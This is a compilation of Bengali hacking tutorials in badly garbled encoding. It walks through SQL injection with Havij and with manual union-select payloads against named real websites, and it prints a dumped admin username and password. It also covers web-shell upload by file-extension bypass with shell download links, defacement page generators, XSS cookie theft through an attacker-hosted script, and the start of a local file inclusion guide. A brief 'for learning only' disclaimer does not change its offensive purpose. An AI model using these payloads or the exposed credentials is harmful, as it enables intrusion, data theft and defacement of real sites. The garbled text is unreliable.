এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না
সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না
অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)
অটিব চছকর 150543 চছত সজচছন কতনন
httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech
াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন
উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]
এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক
এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ
কাচছনকটিকতবটি ককতভচছয কতদন
অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায
এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP
এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা
এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile
পাযাযযার ফযফায করন
উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন
এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন
এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন
httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom
এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey
সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ
heartsheartshearts Havij
SQLi টিউমটাসরো heartsheartshearts
Download
Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij
পরথচছভ GoogleCom এ মান
এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন
inurlphpid=
তাচছর চছনকগচছরা পরাপর সদখাচছফ
এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i
সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo
এফায সম সকান একটি াআচছট পরচছফ করন
এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ
httpwwwpaulprescottcomthemephpid=10
অভযা এআ াআটটিচছক টাচছগবট কযরাভ
এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10
এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান
এফায এনটায কতদন
এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ
এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ
এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ
মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ
Current DB XXXX
কতনচছচয ছকতফটি সদখন
এফায ―Tables tab এ মান
এফায ―Get DBlsquos এ কতিক করন
এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema
দটা পাআর
―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক
শধ ভাতর ―paul_third কতচছরকট করন
এফায ―Get Tables এ কতিক করন
তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন
এখন অভযা administration panel টি যাক কযচছত সচিা কযফ
এখন ―admin table টি সচক করন
এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না
এফায ―Get Columns ফাটচছন কতিক করন
তাচছর কতনচছচয ভচছতা অচছফ
এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)
এফায ―Get Data টযাচছফ কতিক করন
তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ
অফায ―Find Admin টযাচছফ কতিক করন
তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ
এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয
তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না
ldquoPath to Searchrdquo ফচছকস িণব URL টি কতরখচছফন
এফায ldquoStartrdquo ফাটচছন কতিক করন তাচছর অনাচছক Administration Panel login page টা সদখাচছফ
তাচছর অভযা Administration Panel সরাভ
এফায administration panel login সচছজ মান অচছগয াযা আউজায অআকতড াযাডব কতদচছয এডকতভন সজ রগআন করন
মপাষটটি সমেমেি -িসিববাসিত টিউিারtrade
সকান পটযযায ছািা SQL INJECT কচছয অনাচছদয বানবাফর াআট রাআব যাক কযা কতখাচছফা
তাচছর কথা না ফাকতযচছয শর ককতয
পরথচছভ SQL INJECT কযায জনয অভাচছদয বানবাফর াআট খজচছত চছফ
এয জনয অভযা dork use কযফ
inurlindexphpid= inurltrainersphpid=
inurlbuyphpcategory= inurlarticlephpID=
inurlplay_oldphpid= inurldeclaration_morephpdecl_id=
inurlPageid= inurlgamesphpid=
inurlpagephpfile= inurlnewsDetailphpid=
inurlgalleryphpid=
এআ খাচছন কতকছ dork অচছছ sql বানবাফর াআট খজায জনয
8500 SQL dorks list
httppastebincomdzknXjgP or
httppastebincomayV6tNS2
পরথভ এ একটা dork কতনচছয অভযাwwwgooglecom এ SEARCH কতদফ
inurlnews-and-eventsphpid=
এআ dork কতদযা SEARCH কতদচছয অকতভ চছনক াআট সদখরাভ সখান সথচছক অকতভ একটা াআট কতনরাভ
সমভন httpwwweastodissaacinnews-and-eventsphpid=22
ছকতফঃ
পরথচছভ SQL INJECT কযায জনয াআচছটয ID সবরয খজচছত য
এযয অনাচছক সদখচছত চছফ াআট টি injectable কতকনা
এয জনয অনাচছক url এয সচছল একটি lsquo ফাচছত চছফ
httpwwweastodissaacinnews-and-eventsphpid=22
মকতদ ডাটাচছফচছজয কতকছ কতভকতং অচছ ফা সচছজয কতকছ আযয অচছ তাচছর ফঝচছফন াআট টি injectable
সমভন ldquoYou have an error in your SQL syntax check the manual that corresponds to your MySQL server version for the
right syntax to use near rdquorsquo at line 1Prime
ছকতফঃ
এখন injectable াআচছট inject কযায জনয অনাচছক পরথচছভ ডাটাচছফচছজয করাভ সফয কযচছত চছফ
এখাচছন অভাচছদয বানবাফর াআট
httpwwweastodissaacinnews-and-eventsphpid=22
মাআ সাক অভাচছদয ডাটাচছফচছজয করাভ সফয কযচছত চছর +order+by+ কভানড কতদচছত চছফ
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+
এখন + এয সচছল অনাচছক 1 সথচছক শর কচছয তত মবনত সচিা কযচছত চছফ
এখন 1 কতনচছয সদচছখন
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+1--
না তাচছর াআচছট সকাচছনা ডাটা কতভ কযচছতচছছ না
অফায 2 কতদচছয সচিা ককতয
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+2--
ছকতফঃ
না এফায ডাটা কতভ কযচছতচছছ না
এফাচছফ 345 কচছয 7 মবনত সগরাভ
8 এ সগচছর চছযা াআট SQL আযয সদখায
(চছনক ভয সদখা মায
wwwsitecomindexphpid=1 order 999ndash [ no error ]
থবাৎ order by 999 কতদচছর সকান error সদখায না
এচছকষচছতর mdash এয য + এফং id=1 এয য lsquo sign কতদচছত চছফ
তাচছর িণব কতরেটি চছফ
wwwsitecomindexphpid=1prime order by 999ndash+
এফায সচছজ error সদখাচছফ
ফাকতক ংগচছরা াধাযন SQL Injection এয ভতআ চছফ )
httpwwweastodissaacinnews-and-eventsphpid=22+order+by+8--
ছকতফঃ
আযয এযকচছভয চছত াচছয
Could not connect to MySQL server Unknown column rsquo8prime in lsquoorder clausersquo
থবাৎ এআ াআচছটয ডাটাচছফচছজয করাভ 7 টি
এখন অভাচছদয সদখচছত চছফ এআ 7 টা করাচছভয সবতয বানবাফর সকানটি এয জনয অভাচছদয অফায কভানড ফযফায কযচছত চছফ
কভানড টি
+union+select+1234567--
তাচছর কতরংক টি দািাচছফ
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1234567--
ছকতফঃ
( উচছেখ এখাচছন news-and-eventsphpid= এয য একটি ndash সদযা চছযচছছ (
এখন অকতন বানবাফর করাভ সদখচছত াচছফন
এআ াআচছটয বানবাফর করাভ 23সদখাচছফ
এখাচছন অভযা 2 নমবয করাভ কতনচছয কাজ কযচছফা
এখন অভযা বানবাফর করাচছভয বাবন সফয কযচছফা
এয জনয অনাচছক অফায একটি কভানড ফযফায কযচছত চছফ
এখন অচছগয কতরংচছক শধ 2 এয জাযগায versionকতদচছত চছফ
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1version34567--
ছকতফঃ
এআ কতরংচছক সগচছর অভযা বাবন সদখচছত াচছফা
এটায বাবন 5168-community
বাবন 5 এয কতনচছচ াআট গচছরা চছফ না তা ফাদ কতদচছয নযগচছরা াআট inject কযচছত সচিা কযচছফন
এখন অভযা অচছযকটি কভানড ফযফায কচছয সটকতফর সফয কযফ
এচছকষচছতর বানবাফর করাচছভয ফদচছর group_concat(table_name) কভানড কতদচছফা এফং সল করাচছভয য
+from+information_schematables+where+table_schema=database()-- কভানড কতদচছফা
তাচছর কতরংকটি দািাচছরা
httpwwweastodissaacinnews-and-eventsphpid=-22+union+select+1group_concat(table_name)34567+from+information_schematables+where+table_schem
a=database()--
কতরংচছক সগচছর অকতন কতকছ সটকতফর সদখচছত াচছফন
ছকতফঃ
এআ াআচছটয সটকতফর গচছরা র
est_achievementest_adminest_adminlogest_companyrecordest_facprofileest_newsest_noticeest_onlineapplicatio
nest_placementrecord
এখন এখান সথচছক এডকতভন সটকতফর সফয কযচছত চছফ
এচছকষচছতর অনাচছক একট ফকতি খাটাচছত চছফ সমভন এখাচছন est_achievement est_companyrecord এয এডকতভন সটকতফর চছফ না ফঝা মায
একভাতর est_admin এডকতভন সটকতফর ভচছন য
ধচছয কতনচছত না াযচছর ফা বর ধযচছর ভাযা সনআ
কভাচছনডয ভাধযচছভ সফয কযচছত চছফ এচছকষচছতর অনাচছক বানবাফর াআচছটয ফদচছর group_concat(column_name) কভানড কতদচছত চছফ
এফং সল করাচছভয য +from information_schemacolumns where table_name= এয য অনায ধচছয সনযা এডকতভন সটকতফচছরয CHAR রানতয কতদচছত চছফ
এআ কতরংক সথচছক এডন টি ডাউনচছরাড কচছয আনসটর কচছযন পাযাযপকস বরাউজায
httpsaddonsmozillaorgen-USfirefoxaddonhackbar
এখন যাকফায টি চছন কচছযন F9 সচচছ
এফায SQLgtMySQLgtMySQL CHAR() কতিক কচছযন
ছকতফঃ
নতন একটা ফকস অচছফন সখাচছন যাডকতভন সটকতফর টি কতদচছয ok কতদন
ছকতফঃ
এখাচছন est_admin সক CHAR রানতয কযচছর য CHAR(101 115 116 95 97 100 109 105 110)
তাচছর কতরংকটি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(column_name)34567+from+information_schemacolumns+where+table_name=CH
AR(101 115 116 95 97 100 109 105 110)--
ছকতফঃ
অকতন এডকতভন সটকতফর ধাযনা না কযচছত াযচছর অকতন = এয য নযানয সটকতফচছরয সকস রানতয কতদচছয সচিা কযচছফন
সমচছত অভযা ফচছঝকতছ est_admin এডকতভন সটকতফর এয CHAR রানতয কতদচছয কতরংচছক কতগচছয অভযা সরাভ কতকছ এডকতভন করাভ
uiduseridpasswordemailidsignaturelast_login
এখন অভযা এডকতভন করাভ সথচছক াআচছট রকতগচছনয জনয আউজাযচছভভ অয াযাডব সফয কযচছফা
এজনয অভাচছদয সল কভানড ফযফায কযচছত চছফ
এজনয অভাচছদয বানবফর করাচছভয ফদচছর group_concat(login0x3aPass0x3a) কভানড কতদচছফা
সমচছত অভযা এডকতভন করাচছভ userId সচছযকতছ তা login এয ফদচছর কভাচছনড userId কতরখচছফা অকতন নয াআচছট নয কতকছ সচছত াচছযন
করাভ কতচছচছফ অনাচছক কভানড কযচছত চছফ
এবক বাচছফ কভাচছনড Pass এয ফদচছর password ফযফায কযচছত চছফ
এফং সল করাচছভয য +from+est_admin-- ফাচছত চছফ
+from+ এয য est_admin কতদরাভ কাযন এখাচছন এডকতভন সটকতফর est_admin
তাচছর কতরংক টি দািায
httpwwweastodissaacinnews-and-eventsphpid=-
22+union+select+1group_concat(userId0x3apassword0x3a)34567+from+est_admin--
ছকতফঃ
সদখচছফন অকতন আউজাযচছনভ সচছয মাচছফন
এখাচছন আউজাযচছভভ াযাডব চছে trustadministi$$952013
আউজাযচছভভ trustadmin
াযাডব isti$$952013
এখন সল কাজ চছে এডকতভন সচছনর সফয কযা
এয জনয অনাচছক সকাচছনা ফটযায ফা এডকতভন পাআনডায াআট ফযফায কযচছত চছফ
মাযা সভাফাআর কতদচছয যাকতকং কচছযন তাযা এডকতভন যাচছনর সখাজায জনয এআ াআট টি ফযফায কযচছত াচছযন
-httpscansubhashdasyamcomadmin-panel-finderphp
অয মাযা কতকত সত কাজ কযচছফন তাযা havij ফযফায কযচছফন এডকতভন যাচছনর সখাজায জনয
অয MD5 যা বাঙচছত wwwmd5decryptercuuk এটি ফযফায কযচছফন
তাযচছয ফজচছত ভযা চছর কতনচছচয কতবকতড টি সদখন
httpwwwyoutubecomwatchv=QuW_rSQ5_W0ampfeature=youtube_gdata_player
কতফদরঃ সােটি শধ কতখায জনয কায কষকতত কযচছফন না ফাংরাচছদচছয সকান াআট যাক কযচছফন না
অনায সকান ভযায জনয সরখক যাকতকং জগৎ গর দাকতয থাকচছফ না
কতরচছখচছছনঃ ফারক িঅহমমদ
অজচছক অকতভ অনাচছদয সদখাফ কতকবাচছফ shell উচছরাড কযচছত য LiveHTTPHeaders কতদচছয কতরচছখচছছনঃ ফারক িঅহমমদ
াগমবিঃ
Mozilla Firox ভকতজরা পাযাযপকস
Live HTTP Headersএডন পাযাযপকস এয জনয ডাউনচছরাড করণ কতনচ সথচছক
httpsaddonsmozillaorgenfirefoxaddonlive-http-headers
shell সম সকান সর ফযফায কযচছত াচছযন
কতনচ সথচছক ডাউনচছরাড কচছযন i-47 shell
httpwwwpastebucketcom19852
or
wwwmediafirecom64fjdlvzo9zhrra
shell username and password
username I-47
password I-47
তাহম এেি শর কসর
১ িািআমট িযা সমি পযামি গিআি করার পর মযোমি ফািআ উপমা করা যাে তা েমজ মবর
করণ
২অানায সর নাভটা ফদচছর কতনন সমভনঃ 47phpjpg (াআচছট সম পযভযাচছট পাআর উচছরাড াচছাটব কচছয সমভনঃ অকতভ সম াআট এ পাআর উচছরাড কযকতছ সটাচছত jpg পাআর াচছাটব কচছয তাআ অকতভ নাভ কতদচছযকতছ 47phpjpg
৩ এফায বরাউজ ন সথচছক অনায সর টি সদকতখচছয কতদন তাযয Live HTTP Headers addon টি কতিক করন তাযয উচছরাড ফাটন এ কতিক করণ
৪ এখন অনায Live HTTP Headersটি এভন সদখচছত াচছফন
৫save click কচছযন
৬ এফায অনায সর নাভটি খচছজ সফয করন সম নাচছভ সর উচছরাড কচছযকতছচছরন
১এখন কতিক করন 47phpjpgচছয কতিক করণ
২ Reply ফাটন
৭তাযয নতন একটি উআচছনডাজ খরচছফ সটি চছফ ২ ফকস এয অভযা কাজ কযফ ২ নামবায ফকস এয কতনচছচযটিচছত
৮এখন কতনচছচয ফকস সথচছক অনায সর নাভটি ফদর কচছয কতদন ১ shellphpjpg সথচছক shellphp তাযয কতিক
২ Reply ফাটন
এখন অনায কাজ সল সদখন পর বাচছফ অনায সর অচছরাড চছযচছছ
এফায অচছন অনায সর টি খচছজ কতনন সমখাচছন অচছরাড কচছযকতছচছরন সমভন অকতভ ছকতফটিয যাআট াআট এ কতিক কচছয ছকতফয কতরে ককত কযরাভ
wwwsitecomgallery37473jpg
এখন অকতভ 37473jpg এয মাযগায অভায সর নাভ কতদফ 47php সমভনঃ অকতভ অচছরাড কচছযকতছ wwwsitecomgallery47php
এফায অকতভ এআ কতরে কতদচছয পর বাচছফ অভায সর এ রগআন কযচছত াযরাভ
Video Tutorial
httpwwwyoutubecomwatchv=xSl13HrQHZgampfeature=youtube
কতরচছখচছছনঃ ফারক িঅহমমদ
কতডচছপ সজ র অকতন সকান াআট যাক কযায য আ াআট এ অনায সম চছযফচছজ কতদচছফন সটি সমভন অনায যাক কযা াআট এ সভচছজ সদযায জনয সম চছযফচছজটি ফযাফায কযচছফন সটিআ কতডচছপচছজ অজচছক নদয কতডচছপচছজ ফানাচছনায কতকছ টিউচছটাকতযযার সযায কযচছফা
--==DefacePage Generator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
পটযযাযটি চছন কযচছর কতনচছচয ভত একটি উআচছনডা াচছফন
১ ndash অনায সজচছড এয নাভ কতদনসমভনndash3xtr3m3 H4ck3r
২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
